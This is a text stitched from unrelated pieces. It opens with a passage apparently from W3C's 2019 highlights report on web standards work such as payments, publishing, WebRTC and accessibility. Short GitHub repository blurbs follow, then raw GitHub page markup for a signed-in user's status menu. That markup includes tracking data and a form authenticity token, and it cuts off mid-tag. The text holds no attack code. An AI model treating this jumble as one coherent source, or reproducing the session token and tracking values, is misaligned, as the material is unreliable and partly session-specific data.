discussion on many more: Newly Chartered or Rechartered Web Application Security WG (03-Apr) Web Payment Security IG (17-Apr) Patent and Standards IG (24-Apr) Web Applications WG (14-May) Web & Networks IG (16-May) Media WG (23-May) Media and Entertainment IG (06-Jun) HTML WG (06-Jun) Decentralized Identifier WG (05-Sep) Extended Privacy IG (PING) (30-Sep) Verifiable Claims WG (30-Sep) Service Workers WG (31-Dec) Dataset Exchange WG (31-Dec) Web of Things Working Group (31-Dec) Web Audio Working Group (31-Dec) Proposed charters / Advance Notice Accessibility Guidelines WG Privacy IG (PING) RDF Literal Direction WG Timed Text WG CSS WG Web Authentication WG Closed Internationalization Tag Set IG Meeting Industry Needs Web Payments All Web Payments specifications W3C's payments standards enable a streamlined checkout experience, enabling a consistent user experience across the Web with lower front end development costs for merchants. Users can store and reuse information and more quickly and accurately complete online transactions. The Web Payments Working Group has republished Payment Request API as a Candidate Recommendation, aiming to publish a Proposed Recommendation in the Fall 2019, and is discussing use cases and features for Payment Request after publication of the 1.0 Recommendation. Browser vendors have been finalizing implementation of features added in the past year (view the implementation report). As work continues on the Payment Handler API and its implementation (currently in Chrome and Edge Canary), one focus in 2019 is to increase adoption in other browsers. Recently, Mastercard demonstrated the use of Payment Request API to carry out EMVCo's Secure Remote Commerce (SRC) protocol whose payment method definition is being developed with active participation by Visa, Mastercard, American Express, and Discover. Payment method availability is a key factor in merchant considerations about adopting Payment Request API. The ability to get uniform adoption of a new payment method such as Secure Remote Commerce (SRC) also depends on the availability of the Payment Handler API in browsers, or of proprietary alternatives. Web Monetization, which the Web Payments Working Group will discuss again at its face-to-face meeting in September, can be used to enable micropayments as an alternative revenue stream to advertising. Since the beginning of 2019, Amazon, Brave Software, JCB, Certus Cybersecurity Solutions and Netflix have joined the Web Payments Working Group. In April, W3C launched the Web Payment Security Group to enable W3C, EMVCo, and the FIDO Alliance to collaborate on a vision for Web payment security and interoperability. Participants will define areas of collaboration and identify gaps between existing technical specifications in order to increase compatibility among different technologies, such as: How do SRC, FIDO, and Payment Request relate? The Payment Services Directive 2 (PSD2) regulations in Europe are scheduled to take effect in September 2019. What is the role of EMVCo, W3C, and FIDO technologies, and what is the current state of readiness for the deadline? How can we improve privacy on the Web at the same time as we meet industry requirements regarding user identity? Digital Publishing All Digital Publishing specifications, Publication milestones The Web is the universal publishing platform. Publishing is increasingly impacted by the Web, and the Web increasingly impacts Publishing. Topic of particular interest to Publishing@W3C include typography and layout, accessibility, usability, portability, distribution, archiving, offline access, print on demand, and reliable cross referencing. And the diverse publishing community represented in the groups consist of the traditional "trade" publishers, ebook reading system manufacturers, but also publishers of audio book, scholarly journals or educational materials, library scientists or browser developers. The Publishing Working Group currently concentrates on Audiobooks which lack a comprehensive standard, thus incurring extra costs and time to publish in this booming market. Active development is ongoing on the future standard: Publication Manifest Audiobook profile for Web Publications Lightweight Packaging Format The BD Comics Manga Community Group, the Synchronized Multimedia for Publications Community Group, the Publishing Community Group and a future group on archival, are companions to the working group where specific work is developed and incubated. The Publishing Community Group is a recently launched incubation channel for Publishing@W3C. The goal of the group is to propose, document, and prototype features broadly related to: publications on the Web reading modes and systems and the user experience of publications The EPUB 3 Community Group has successfully completed the revision of EPUB 3.2. The Publishing Business Group fosters ongoing participation by members of the publishing industry and the overall ecosystem in the development of Web infrastructure to better support the needs of the industry. The Business Group serves as an additional conduit to the Publishing Working Group and several Community Groups for feedback between the publishing ecosystem and W3C. The Publishing BG has played a vital role in fostering and advancing the adoption and continued development of EPUB 3. In particular the BG provided critical support to the update of EPUBCheck to validate EPUB content to the new EPUB 3.2 specification. This resulted in the development, in conjunction with the EPUB3 Community Group, of a new generation of EPUBCheck, i.e., EPUBCheck 4.2 production-ready release. Media and Entertainment All Media specifications The Media and Entertainment vertical tracks media-related topics and features that create immersive experiences for end users. HTML5 brought standard audio and video elements to the Web. Standardization activities since then have aimed at turning the Web into a professional platform fully suitable for the delivery of media content and associated materials, enabling missing features to stream video content on the Web such as adaptive streaming and content protection. Together with Microsoft, Comcast, Netflix and Google, W3C received an Technology & Engineering Emmy Award in April 2019 for standardization of a full TV experience on the Web. Current goals are to: Reinforce core media technologies: Creation of the Media Working Group, to develop media-related specifications incubated in the WICG (e.g. Media Capabilities, Picture-in-picture, Media Session) and maintain maintain/evolve Media Source Extensions (MSE) and Encrypted Media Extensions (EME). Improve support for Media Timed Events: data cues incubation. Enhance color support (HDR, wide gamut), in scope of the CSS WG and in the Color on the Web CG. Reduce fragmentation: Continue annual releases of a common and testable baseline media devices, in scope of the Web Media APIs CG and in collaboration with the CTA WAVE Project. Maintain the Road-map of Media Technologies for the Web which highlights Web technologies that can be used to build media applications and services, as well as known gaps to enable additional use cases. Create the future: Discuss perspectives for Media and Entertainment for the Web. Bring the power of GPUs to the Web (graphics, machine learning, heavy processing), under incubation in the GPU for the Web CG. Transition to a Working Group is under discussion. Determine next steps after the successful W3C Workshop on Web Games of June 2019. View the report. Timed Text The Timed Text Working Group develops and maintains formats used for the representation of text synchronized with other timed media, like audio and video, and notably works on TTML, profiles of TTML, and WebVTT. Recent progress includes: A robust WebVTT implementation report poises the specification for publication as a proposed recommendation. Discussions around re-chartering, notably to add a TTML Profile for Audio Description deliverable to the scope of the group, and clarify that rendering of captions within XR content is also in scope. Immersive Web Hardware that enables Virtual Reality (VR) and Augmented Reality (AR) applications are now broadly available to consumers, offering an immersive computing platform with both new opportunities and challenges. The ability to interact directly with immersive hardware is critical to ensuring that the web is well equipped to operate as a first-class citizen in this environment. The Immersive Web Working Group has been stabilizing the WebXR Device API while the companion Immersive Web Community Group incubates the next series of features identified as key for the future of the Immersive Web. W3C plans a workshop focused on the needs and benefits at the intersection of VR & Accessibility (Inclusive XR), on 5-6 November 2019 in Seattle, WA, USA, to explore existing and future approaches on making Virtual and Augmented Reality experiences more inclusive. Web & Telecommunications The Web is the Open Platform for Mobile. Telecommunication service providers and network equipment providers have long been critical actors in the deployment of Web technologies. As the Web platform matures, it brings richer and richer capabilities to extend existing services to new users and devices, and propose new and innovative services. Real-Time Communications (WebRTC) All Real-Time Communications specifications WebRTC has reshaped the whole communication landscape by making any connected device a potential communication end-point, bringing audio and video communications anywhere, on any network, vastly expanding the ability of operators to reach their customers. WebRTC serves as the corner-stone of many online communication and collaboration services. The WebRTC Working Group aims to bringing WebRTC 1.0 (and companion specification Media Capture and Streams) to Recommendation by the end of 2019. Intense efforts are focused on testing (supported by a dedicated hackathon at IETF 104) and interoperability. The group is considering pushing features that have not gotten enough traction to separate modules or to a later minor revision of the spec. Beyond WebRTC 1.0, the WebRTC Working Group will focus its efforts on WebRTC NV which the group has started documenting by identifying use cases. Web & Networks Recently launched, in the wake of the May 2018 Web5G workshop, the Web & Networks Interest Group is chaired by representatives from AT&T, China Mobile and Intel, with a goal to explore solutions for web applications to achieve better performance and resource allocation, both on the device and network. The group's first efforts are around use cases, privacy & security requirements and liaisons. Automotive All Automotive specifications To create a rich application ecosystem for vehicles and other devices allowed to connect to the vehicle, the W3C Automotive Working Group is delivering a service specification to expose all common vehicle signals (engine temperature, fuel/charge level, range, tire pressure, speed, etc.) The Vehicle Information Service Specification (VISS), which is a Candidate Recommendation, is seeing more implementations across the industry. It provides the access method to a common data model for all the vehicle signals –presently encapsulating a thousand or so different data elements– and will be growing to accommodate the advances in automotive such as autonomous and driver assist technologies and electrification. The group is already working on a successor to VISS, leveraging the underlying data model and the VIWI submission from Volkswagen, for a more robust means of accessing vehicle signals information and the same paradigm for other automotive needs including location-based services, media, notifications and caching content. The Automotive and Web Platform Business Group acts as an incubator for prospective standards work. One of its task forces is using W3C VISS in performing data sampling and off-boarding the information to the cloud. Access to the wealth of information that W3C's auto signals standard exposes is of interest to regulators, urban planners, insurance companies, auto manufacturers, fleet managers and owners, service providers and others. In addition to components needed for data sampling and edge computing, capturing user and owner consent, information collection methods and handling of data are in scope. The upcoming W3C Workshop on Data Models for Transportation (September 2019) is expected to focus on the need of additional ontologies around transportation space. Web of Things All Web of Things specifications W3C's Web of Things work is designed to bridge disparate technology stacks to allow devices to work together and achieve scale, thus enabling the potential of the Internet of Things by eliminating fragmentation and fostering interoperability. Thing descriptions expressed in JSON-LD cover the behavior, interaction affordances, data schema, security configuration, and protocol bindings. The Web of Things complements existing IoT ecosystems to reduce the cost and risk for suppliers and consumers of applications that create value by combining multiple devices and information services. There are many sectors that will benefit, e.g. smart homes, smart cities, smart industry, smart agriculture, smart healthcare and many more. The Web of Things Working Group is finishing the initial Web of Things standards, with support from the Web of Things Interest Group: Web of Things Architecture Thing Descriptions Strengthening the Core of the Web HTML The HTML Working Group was chartered early June to assist the W3C community in raising issues and proposing solutions for the HTML and DOM specifications, and to produce W3C Recommendations from WHATWG Review Drafts. A few days before, W3C and the WHATWG signed a Memorandum of Understanding outlining the agreement to collaborate on the development of a single version of the HTML and DOM specifications. Issues and proposed solutions for HTML and DOM done via the newly rechartered HTML Working Group in the WHATWG repositories The HTML Working Group is targetting November 2019 to bring HTML and DOM to Candidate Recommendations. CSS All CSS specifications CSS is a critical part of the Open Web Platform. The CSS Working Group gathers requirements from two large groups of CSS users: the publishing industry and application developers. Within W3C, those groups are exemplified by the Publishing groups and the Web Platform Working Group. The former requires things like better pagination support and advanced font handling, the latter needs intelligent (and fast!) scrolling and animations. What we know as CSS is actually a collection of almost a hundred specifications, referred to as ‘modules’. The current state of CSS is defined by a snapshot, updated once a year. The group also publishes an index defining every term defined by CSS specifications. Fonts All Fonts specifications The Web Fonts Working Group develops specifications that allow the interoperable deployment of downloadable fonts on the Web, with a focus on Progressive Font Enrichment as well as maintenance of WOFF Recommendations. Recent and ongoing work includes: Early API experiments by Adobe and Monotype have demonstrated the feasibility of a font enrichment API, where a server delivers a font with minimal glyph repertoire and the client can query the full repertoire and request additional subsets on-the-fly. In other experiments, the Brotli compression used in WOFF 2 was extended to support shared dictionaries and patch update. Metrics to quantify improvement are a current hot discussion topic. The group will meet at ATypi 2019 in Japan, to gather requirements from the international typography community. The group will first produce a report summarizing the strengths and weaknesses of each prototype solution by Q2 2020. SVG All SVG specifications SVG is an important and widely-used part of the Open Web Platform. The SVG Working Group focuses on aligning the SVG 2.0 specification with browser implementations, having split the specification into a currently-implemented 2.0 and a forward-looking 2.1. Current activity is on stabilization, increased integration with the Open Web Platform, and test coverage analysis. The Working Group was rechartered in March 2019. A new work item concerns native (non-Web-browser) uses of SVG as a non-interactive, vector graphics format. Audio The Web Audio Working Group was extended to finish its work on the Web Audio API, expecting to publish it as a Recommendation by year end. The specification enables synthesizing audio in the browser. Audio operations are performed with audio nodes, which are linked together to form a modular audio routing graph. Multiple sources — with different types of channel layout — are supported. This modular design provides the flexibility to create complex audio functions with dynamic effects. The first version of Web Audio API is now feature complete and is implemented in all modern browsers. Work has started on the next version, and new features are being incubated in the Audio Community Group. Performance Web Performance All Web Performance specifications There are currently 18 specifications in development in the Web Performance Working Group aiming to provide methods to observe and improve aspects of application performance of user agent features and APIs. The W3C team is looking at related work incubated in the W3C GPU for the Web (WebGPU) Community Group which is poised to transition to a W3C Working Group. A preliminary draft charter is available. WebAssembly All WebAssembly specifications WebAssembly improves Web performance and power by being a virtual machine and execution environment enabling loaded pages to run native (compiled) code. It is deployed in Firefox, Edge, Safari and Chrome. The specification will soon reach Candidate Recommendation. WebAssembly enables near-native performance, optimized load time, and perhaps most importantly, a compilation target for existing code bases. While it has a small number of native types, much of the performance increase relative to Javascript derives from its use of consistent typing. WebAssembly leverages decades of optimization for compiled languages and the byte code is optimized for compactness and streaming (the web page starts executing while the rest of the code downloads). Network and API access all occurs through accompanying Javascript libraries -- the security model is identical to that of Javascript. Requirements gathering and language development occur in the Community Group while the Working Group manages test development, community review and progression of specifications on the Recommendation Track. Testing Browser testing plays a critical role in the growth of the Web by: Improving the reliability of Web technology definitions; Improving the quality of implementations of these technologies by helping vendors to detect bugs in their products; Improving the data available to Web developers on known bugs and deficiencies of Web technologies by publishing results of these tests. Browser Testing and Tools The Browser Testing and Tools Working Group is developing WebDriver version 2, having published last year the W3C Recommendation of WebDriver. WebDriver acts as a remote control interface that enables introspection and control of user agents, provides a platform- and language-neutral wire protocol as a way for out-of-process programs to remotely instruct the behavior of Web, and emulates the actions of a real person using the browser. WebPlatform Tests The WebPlatform Tests project now provides a mechanism which allows to fully automate tests that previously needed to be run manually: TestDriver. TestDriver enables sending trusted key and mouse events, sending complex series of trusted pointer and key interactions for things like in-content drag-and-drop or pinch zoom, and even file upload. Since 2014 W3C began work on this coordinated open-source effort to build a cross-browser test suite for the Web Platform, which WHATWG, and all major browsers adopted. Web of Data All Data specifications There have been several great success stories around the standardization of data on the web over the past year. Verifiable Claims seems to have significant uptake. It is also significant that the Distributed Identifier WG charter has received numerous favorable reviews, and was just recently launched. JSON-LD has been a major success with the large deployment on Web sites via schema.org. JSON-LD 1.1 completed technical work, about to transition to CR More than 25% of websites today include schema.org data in JSON-LD The Web of Things description is in CR since May, making use of JSON-LD Verifiable Credentials data model is in CR since July, also making use of JSON-LD Continued strong interest in decentralized identifiers Engagement from the TAG with reframing core documents, such as Ethical Web Principles, to include data on the web within their scope Data is increasingly important for all organizations, especially with the rise of IoT and Big Data. W3C has a mature and extensive suite of standards relating to data that were developed over two decades of experience, with plans for further work on making it easier for developers to work with graph data and knowledge graphs. Linked Data is about the use of URIs as names for things, the ability to dereference these URIs to get further information and to include links to other data. There are ever-increasing sources of open Linked Data on the Web, as well as data services that are restricted to the suppliers and consumers of those services. The digital transformation of industry is seeking to exploit advanced digital technologies. This will facilitate businesses to integrate horizontally along the supply and value chains, and vertically from the factory floor to the office floor. W3C is seeking to make it easier to support enterprise-wide data management and governance, reflecting the strategic importance of data to modern businesses. Traditional approaches to data have focused on tabular databases (SQL/RDBMS), Comma Separated Value (CSV) files, and data embedded in PDF documents and spreadsheets. We're now in midst of a major shift to graph data with nodes and labeled directed links between them. Graph data is: Faster than using SQL and associated JOIN operations More favorable to integrating data from heterogeneous sources Better suited to situations where the data model is evolving In the wake of the recent W3C Workshop on Graph Data we are in the process of launching a Graph Standardization Business Group to provide a business perspective with use cases and requirements, to coordinate technical standards work and liaisons with external organizations. Web for All Security, Privacy, Identity All Security specifications, all Privacy specifications Authentication on the Web As the WebAuthn Level 1 W3C Recommendation published last March is seeing wide implementation and adoption of strong cryptographic authentication, work is proceeding on Level 2. The open standard Web API gives native authentication technology built into native platforms, browsers, operating systems (including mobile) and hardware, offering protection against hacking, credential theft, phishing attacks, thus aiming to end the era of passwords as a security construct. You may read more in our March press release. Privacy An increasing number of W3C specifications are benefitting from Privacy and Security review; there are security and privacy aspects to every specification. Early review is essential. Working with the TAG, the Privacy Interest Group has updated the Self-Review Questionnaire: Security and Privacy. Other recent work of the group includes public blogging further to the exploration of anti-patterns in standards and permission prompts. Security The Web Application Security Working Group adopted Feature Policy, aiming to allow developers to selectively enable, disable, or modify the behavior of some of these browser features and APIs within their application; and Fetch Metadata, aiming to provide servers with enough information to make a priori decisions about whether or not to service a request based on the way it was made, and the context in which it will be used. The Web Payment Security Interest Group, launched last April, convenes members from W3C, EMVCo, and the FIDO Alliance to discuss cooperative work to enhance the security and interoperability of Web payments (read more about payments). Internationalization (i18n) All Internationalization specifications, educational articles related to Internationalization, spec developers checklist Only a quarter or so current Web users use English online and that proportion will continue to decrease as the Web reaches more and more communities of limited English proficiency. If the Web is to live up to the "World Wide" portion of its name, and for the Web to truly work for stakeholders all around the world engaging with content in various languages, it must support the needs of worldwide users as they engage with content in the various languages. The growth of epublishing also brings requirements for new features and improved typography on the Web. It is important to ensure the needs of local communities are captured. The W3C Internationalization Initiative was set up to increase in-house resources dedicated to accelerating progress in making the World Wide Web "worldwide" by gathering user requirements, supporting developers, and education & outreach. For an overview of current projects see the i18n radar. W3C's Internationalization efforts progressed on a number of fronts recently: Requirements: New African and European language groups will work on the gap analysis, errata and layout requirements. Gap analysis: Japanese, Devanagari, Bengali, Tamil, Lao, Khmer, Javanese, and Ethiopic updated in the gap-analysis documents. Layout requirements document: notable progress tracked in the Southeast Asian Task Force while work continues on Chinese layout requirements. Developer support: Spec reviews: the i18n WG continues active review of specifications of the WHATWG and other W3C Working Groups. Short review checklist: easy way to begin a self-review to help spec developers understand what aspects of their spec are likely to need attention for internationalization, and points them to more detailed checklists for the relevant topics. It also helps those reviewing specs for i18n issues. Strings on the Web: Language and Direction Metadata lays out issues and discusses potential solutions for passing information about language and direction with strings in JSON or other data formats. The document was rewritten for clarity, and expanded. The group is collaborating with the JSON-LD and Web Publishing groups to develop a plan for updating RDF, JSON-LD and related specifications to handle metadata for base direction of text (bidi). User-friendly test format: a new format was developed for Internationalization Test Suite tests, which displays helpful information about how the test works. This particularly useful because those tests are pointed to by educational materials and gap-analysis documents. Web Platform Tests: a large number of tests in the i18n test suite have been ported to the WPT repository, including: css-counter-styles, css-ruby, css-syntax, css-test, css-text-decor, css-writing-modes, and css-pseudo. Education & outreach: (for all educational materials, see the HTML & CSS Authoring Techniques) Web Accessibility All Accessibility specifications, WAI resources The Web Accessibility Initiative supports W3C's Web for All mission. Recent achievements include: Education and training: Inaccessibility of CAPTCHA updated to bring our analysis and recommendations up to date with CAPTCHA practice today, concluding two years of extensive work and invaluable input from the public (read more on the W3C Blog Learn why your web content and applications should be accessible. The Education and Outreach Working Group has completed revision and updating of the Business Case for Digital Accessibility. Accessibility guidelines: The Accessibility Guidelines Working Group has continued to update WCAG Techniques and Understanding WCAG 2.1; and published a Candidate Recommendation of Accessibility Conformance Testing Rules Format 1.0 to improve inter-rater reliability when evaluating conformance of web content to WCAG An updated charter is being developed to host work on "Silver", the next generation accessibility guidelines (WCAG 2.2) There are accessibility aspects to most specifications. Check your work with the FAST checklist. Outreach to the world W3C Developer Relations To foster the excellent feedback loop between Web Standards development and Web developers, and to grow participation from that diverse community, recent W3C Developer Relations activities include: @w3cdevs tracks the enormous amount of work happening across W3C W3C Track during the Web Conference 2019 in San Francisco Tech videos: W3C published the 2019 Web Games Workshop videos The 16 September 2019 Developer Meetup in Fukuoka, Japan, is open to all and will combine a set of technical demos prepared by W3C groups, and a series of talks on a selected set of W3C technologies and projects W3C is involved with Mozilla, Google, Samsung, Microsoft and Bocoup in the organization of ViewSource 2019 in Amsterdam (read more on the W3C Blog) W3C Training In partnership with EdX, W3C's MOOC training program, W3Cx offers a complete "Front-End Web Developer" (FEWD) professional certificate program that consists of a suite of five courses on the foundational languages that power the Web: HTML5, CSS and JavaScript. We count nearly 900K students from all over the world. Translations Many Web users rely on translations of documents developed at W3C whose official language is English. W3C is extremely grateful to the continuous efforts of its community in ensuring our various deliverables in general, and in our specifications in particular, are made available in other languages, for free, ensuring their exposure to a much more diverse set of readers. Last Spring we developed a more robust system, a new listing of translations of W3C specifications and updated the instructions on how to contribute to our translation efforts. W3C Liaisons Liaisons and coordination with numerous organizations and Standards Development Organizations (SDOs) is crucial for W3C to: make sure standards are interoperable coordinate our respective agenda in Internet governance: W3C participates in ICANN, GIPO, IGF, the I* organizations (ICANN, IETF, ISOC, IAB). ensure at the government liaison level that our standards work is officially recognized when important to our membership so that products based on them (often done by our members) are part of procurement orders. W3C has ARO/PAS status with ISO. W3C participates in the EU MSP and Rolling Plan on Standardization ensure the global set of Web and Internet standards form a compatible stack of technologies, at the technical and policy level (patent regime, fragmentation, use in policy making) promote Standards adoption equally by the industry, the public sector, and the public at large Coralie Mercier, Editor, W3C Marketing & Communications $Id: Overview.html,v 1.60 2019/10/15 12:05:52 coralie Exp $ Copyright © 2019 W3C ® (MIT, ERCIM, Keio, Beihang) Usage policies apply.
PrintersForAnts / Voron Construct"This is the Construct. It's our loading program. We can load anything... From clothing to equipment, weapons, training simulations; anything we need." ― Morpheus
singhgautam / SlateThis is the official source code for SLATE. We provide the code for the model, the training code, and a dataset loader for the 3D Shapes dataset. This code is implemented in Pytorch.
kipoi / KipoiseqStandard set of data-loaders for training and making predictions for DNA sequence-based models.
LarryJane491 / Image Captioning In ComfyUICustom nodes for ComfyUI that let the user load a bunch of images and save them with captions (ideal to prepare a database for LORA training)
CTO92 / PyFlameA Python deep learning framework with lazy evaluation, automatic differentiation, and a PyTorch-like API. Features include neural network modules, data loading, training utilities, model serving, and integrations with MLflow, W&B, ONNX, and Jupyter.
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aria-haspopup="false"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="text-bold">p4g5</span> </a> <details class="details-overlay details-reset d-none d-lg-flex pl-lg-2 py-2 py-lg-0 flex-items-center"> <summary class="HeaderNavlink name mt-1" aria-label="View profile and more" data-ga-click="Header, show menu, icon:avatar"> <img alt="@p4g5" class="avatar float-left mr-1" src="https://avatars2.githubusercontent.com/u/47923458?s=40&v=4" height="20" width="20"> <span class="dropdown-caret"></span> </summary> <details-menu class="dropdown-menu dropdown-menu-sw"> <div class="header-nav-current-user css-truncate"><a role="menuitem" class="no-underline user-profile-link px-3 pt-2 pb-2 mb-n2 mt-n1 d-block" href="/p4g5" data-ga-click="Header, go to profile, text:Signed in as">Signed in as <strong class="css-truncate-target">p4g5</strong></a></div> <div role="none" class="dropdown-divider"></div> <div class="px-3 f6 user-status-container js-user-status-context pb-1" data-url="/users/status?compact=1&link_mentions=0&truncate=1"> <div class="js-user-status-container user-status-compact" data-team-hovercards-enabled> <details class="js-user-status-details details-reset details-overlay details-overlay-dark"> <summary class="btn-link no-underline js-toggle-user-status-edit toggle-user-status-edit width-full" aria-haspopup="dialog" role="menuitem" data-hydro-click="{"event_type":"user_profile.click","payload":{"profile_user_id":12132898,"target":"EDIT_USER_STATUS","user_id":47923458,"client_id":"1815209117.1550905425","originating_request_id":"818C:75AC:15C5D83:291B1C2:5C7218B8","originating_url":"https://github.com/Alvin9999/new-pac/wiki"}}" data-hydro-click-hmac="ced5050557a7bdc853d992aa928100040ac79be23fc4cb6ea21f7760d65c248f"> <div class="f6 d-inline-block v-align-middle user-status-emoji-only-header pl-0 circle lh-condensed user-status-header " style="max-width: 29px"> <div class="user-status-emoji-container flex-shrink-0 mr-1"> <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </div> </div> <div class="d-inline-block v-align-middle user-status-message-wrapper f6 lh-condensed ws-normal pt-1"> <span class="link-gray">Set your status</span> </div> </summary> <details-dialog class="details-dialog rounded-1 anim-fade-in fast Box Box--overlay" role="dialog" tabindex="-1"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="position-relative flex-auto js-user-status-form" action="/users/status?compact=1&link_mentions=0&truncate=1" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="_method" value="put" /><input type="hidden" name="authenticity_token" value="UhUocX8QxRCQfi0VVq50V8DOQgt0VtegaH303QE9m8PCCEjaixc+T4i9Uc+Hu37cMb2xXx4TolEIzX4hl4y0uw==" /> <div class="Box-header bg-gray border-bottom p-3"> <button class="Box-btn-octicon js-toggle-user-status-edit btn-octicon float-right" type="reset" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/></svg> </button> <h3 class="Box-title f5 text-bold text-gray-dark">Edit status</h3> </div> <input type="hidden" name="emoji" class="js-user-status-emoji-field" value=""> <input type="hidden" name="organization_id" class="js-user-status-org-id-field" value=""> <div class="px-3 py-2 text-gray-dark"> <div class="js-characters-remaining-container js-suggester-container position-relative mt-2"> <div class="input-group d-table form-group my-0 js-user-status-form-group"> <span class="input-group-button d-table-cell v-align-middle" style="width: 1%"> <button type="button" aria-label="Choose an emoji" class="btn-outline btn js-toggle-user-status-emoji-picker bg-white btn-open-emoji-picker"> <span class="js-user-status-original-emoji" hidden></span> <span class="js-user-status-custom-emoji"></span> <span class="js-user-status-no-emoji-icon" > <svg class="octicon octicon-smiley" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8s3.58 8 8 8 8-3.58 8-8-3.58-8-8-8zm4.81 12.81a6.72 6.72 0 0 1-2.17 1.45c-.83.36-1.72.53-2.64.53-.92 0-1.81-.17-2.64-.53-.81-.34-1.55-.83-2.17-1.45a6.773 6.773 0 0 1-1.45-2.17A6.59 6.59 0 0 1 1.21 8c0-.92.17-1.81.53-2.64.34-.81.83-1.55 1.45-2.17.62-.62 1.36-1.11 2.17-1.45A6.59 6.59 0 0 1 8 1.21c.92 0 1.81.17 2.64.53.81.34 1.55.83 2.17 1.45.62.62 1.11 1.36 1.45 2.17.36.83.53 1.72.53 2.64 0 .92-.17 1.81-.53 2.64-.34.81-.83 1.55-1.45 2.17zM4 6.8v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2H5.2C4.53 8 4 7.47 4 6.8zm5 0v-.59c0-.66.53-1.19 1.2-1.19h.59c.66 0 1.19.53 1.19 1.19v.59c0 .67-.53 1.2-1.19 1.2h-.59C9.53 8 9 7.47 9 6.8zm4 3.2c-.72 1.88-2.91 3-5 3s-4.28-1.13-5-3c-.14-.39.23-1 .66-1h8.59c.41 0 .89.61.75 1z"/></svg> </span> </button> </span> <input type="text" autocomplete="off" autofocus data-maxlength="80" class="js-suggester-field d-table-cell width-full form-control js-user-status-message-field js-characters-remaining-field" placeholder="What's happening?" name="message" required value="" aria-label="What is your current status?"> <div class="error">Could not update your status, please try again.</div> </div> <div class="suggester-container"> <div class="suggester js-suggester js-navigation-container" data-url="/autocomplete/user-suggestions" data-no-org-url="/autocomplete/user-suggestions" data-org-url="/suggestions" hidden> </div> </div> <div style="margin-left: 53px" class="my-1 text-small label-characters-remaining js-characters-remaining" data-suffix="remaining" hidden> 80 remaining </div> </div> <include-fragment class="js-user-status-emoji-picker" data-url="/users/status/emoji"></include-fragment> <div class="overflow-auto" style="max-height: 33vh"> <div class="user-status-suggestions js-user-status-suggestions"> <h4 class="f6 text-normal my-3">Suggestions:</h4> <div class="mx-3 mt-2 clearfix"> <div class="float-left col-6"> <button type="button" value=":palm_tree:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="palm_tree" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f334.png">🌴</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> On vacation </div> </button> <button type="button" value=":face_with_thermometer:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="face_with_thermometer" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f912.png">🤒</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Out sick </div> </button> </div> <div class="float-left col-6"> <button type="button" value=":house:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="house" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3e0.png">🏠</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Working from home </div> </button> <button type="button" value=":dart:" class="d-flex flex-items-baseline flex-items-stretch lh-condensed f6 btn-link link-gray no-underline js-predefined-user-status mb-1"> <div class="emoji-status-width mr-2 v-align-middle js-predefined-user-status-emoji"> <g-emoji alias="dart" fallback-src="https://github.githubassets.com/images/icons/emoji/unicode/1f3af.png">🎯</g-emoji> </div> <div class="d-flex flex-items-center no-underline js-predefined-user-status-message" style="border-left: 1px solid transparent"> Focusing </div> </button> </div> </div> </div> <div class="user-status-limited-availability-container"> <div class="form-checkbox my-0"> <input type="checkbox" name="limited_availability" value="1" class="js-user-status-limited-availability-checkbox" data-default-message="I may be slow to respond." aria-describedby="limited-availability-help-text-truncate-true" id="limited-availability-truncate-true"> <label class="d-block f5 text-gray-dark 